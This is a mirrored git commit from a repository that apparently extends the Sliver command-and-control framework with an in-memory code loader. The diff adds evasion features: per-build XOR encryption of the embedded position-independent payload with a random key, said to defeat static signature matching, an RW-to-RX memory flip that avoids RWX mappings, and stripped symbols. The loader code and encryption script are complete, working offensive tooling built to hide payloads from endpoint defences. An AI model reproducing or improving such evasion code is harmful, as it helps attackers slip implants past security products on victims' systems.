mirror of
https://github.com/licitrasimone/CrystalSliver
synced 2026-06-21 13:55:58 +00:00
fix: crystal-exec evasion — XOR-encrypted PICO, RW→RX, strip symbols
- Replace VirtualAlloc(PAGE_EXECUTE_READWRITE) with VirtualAlloc(RW) + VirtualProtect(RX) after XOR decryption — no RWX mapping ever held - Add gen_pico_header.py: XOR-encrypts the embedded PICO with a fresh 256-byte random key each build, replacing plain xxd output. Crystal Palace byte patterns in .data are now obfuscated; each build is unique. - Add -s (strip symbols), -ffunction-sections/-fdata-sections, --gc-sections to Makefile — DLL shrinks from ~328 KB to ~76 KB
This commit is contained in:
@@ -11,8 +11,8 @@
|
||||
# CRYSTAL_PALACE_HOME set in environment or ../. crystalenv
|
||||
|
||||
CC := x86_64-w64-mingw32-gcc
|
||||
CFLAGS := -Wall -Os -DBUILD_DLL
|
||||
LFLAGS := -shared -Wl,--subsystem,windows
|
||||
CFLAGS := -Wall -Os -DBUILD_DLL -ffunction-sections -fdata-sections
|
||||
LFLAGS := -shared -Wl,--subsystem,windows -s -Wl,--gc-sections
|
||||
|
||||
SCRIPT_DIR := $(shell cd .. && pwd)
|
||||
|
||||
@@ -28,9 +28,9 @@ crystalexec.dll: crystalexec.c
|
||||
crystalexec.pico.bin: crystalexec.dll
|
||||
$(SCRIPT_DIR)/generate.sh $< "" $@
|
||||
|
||||
# ── Step 3: embed PICO as C array ─────────────────────────────────────────────
|
||||
crystalexec_pico.h: crystalexec.pico.bin
|
||||
xxd -i $< | sed 's/unsigned char [a-zA-Z0-9_]*/unsigned char crystalexec_pico/;s/unsigned int [a-zA-Z0-9_]*/unsigned int crystalexec_pico_len/' > $@
|
||||
# ── Step 3: XOR-encrypt PICO → C header (fresh random key every build) ────────
|
||||
crystalexec_pico.h: crystalexec.pico.bin gen_pico_header.py
|
||||
python3 gen_pico_header.py $< $@
|
||||
|
||||
# ── Step 4 + 5: extension DLL with embedded PICO ──────────────────────────────
|
||||
../crystal-exec.x64.dll: crystal-exec.c crystalexec_pico.h
|
||||
|
||||
@@ -155,13 +155,24 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback
|
||||
|
||||
void *pico_mem = VirtualAlloc(NULL, (SIZE_T)crystalexec_pico_len,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE);
|
||||
PAGE_READWRITE);
|
||||
if (!pico_mem) {
|
||||
VirtualFree(args_buf, 0, MEM_RELEASE);
|
||||
CloseHandle(hRead); CloseHandle(hWrite);
|
||||
FAIL("VirtualAlloc(pico) failed");
|
||||
}
|
||||
memcpy(pico_mem, crystalexec_pico, crystalexec_pico_len);
|
||||
/* XOR-decrypt embedded PICO into RW region */
|
||||
unsigned char *dst = (unsigned char *)pico_mem;
|
||||
for (DWORD i = 0; i < crystalexec_pico_len; i++)
|
||||
dst[i] = crystalexec_pico[i] ^ crystalexec_pico_key[i % crystalexec_pico_key_len];
|
||||
/* Flip RW → RX; no RWX mapping ever held */
|
||||
DWORD old_prot;
|
||||
if (!VirtualProtect(pico_mem, crystalexec_pico_len, PAGE_EXECUTE_READ, &old_prot)) {
|
||||
VirtualFree(pico_mem, 0, MEM_RELEASE);
|
||||
VirtualFree(args_buf, 0, MEM_RELEASE);
|
||||
CloseHandle(hRead); CloseHandle(hWrite);
|
||||
FAIL("VirtualProtect(pico) failed");
|
||||
}
|
||||
|
||||
ob_printf(&ob, "[crystal-exec] PICO size: %u bytes\n", crystalexec_pico_len);
|
||||
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
gen_pico_header.py — XOR-encrypt a Crystal Palace PICO and emit a C header.
|
||||
|
||||
Fresh random 256-byte key every build so each crystal-exec.x64.dll has a
|
||||
unique byte pattern — defeats static signature matching on the embedded PICO.
|
||||
|
||||
Usage: gen_pico_header.py <input.bin> <output.h>
|
||||
"""
|
||||
import os, sys
|
||||
|
||||
if len(sys.argv) != 3:
|
||||
print(f"Usage: {sys.argv[0]} <input.bin> <output.h>", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
infile, outfile = sys.argv[1:]
|
||||
key = os.urandom(256)
|
||||
|
||||
with open(infile, 'rb') as f:
|
||||
raw = f.read()
|
||||
|
||||
enc = bytes([b ^ key[i % len(key)] for i, b in enumerate(raw)])
|
||||
|
||||
def c_array(name, data):
|
||||
lines = [f'static const unsigned char {name}[] = {{']
|
||||
for i in range(0, len(data), 16):
|
||||
chunk = data[i:i+16]
|
||||
lines.append(' ' + ','.join(f'0x{b:02x}' for b in chunk) + ',')
|
||||
lines.append('};')
|
||||
return '\n'.join(lines)
|
||||
|
||||
with open(outfile, 'w') as f:
|
||||
f.write('/* auto-generated — do not edit */\n\n')
|
||||
f.write(c_array('crystalexec_pico_key', key))
|
||||
f.write(f'\nstatic const unsigned int crystalexec_pico_key_len = {len(key)};\n\n')
|
||||
f.write(c_array('crystalexec_pico', enc))
|
||||
f.write(f'\nstatic const unsigned int crystalexec_pico_len = {len(enc)};\n')
|
||||
|
||||
print(f'[+] {outfile}: {len(raw)} bytes encrypted, key_len={len(key)}', file=sys.stderr)
|
||||
Reference in New Issue
Block a user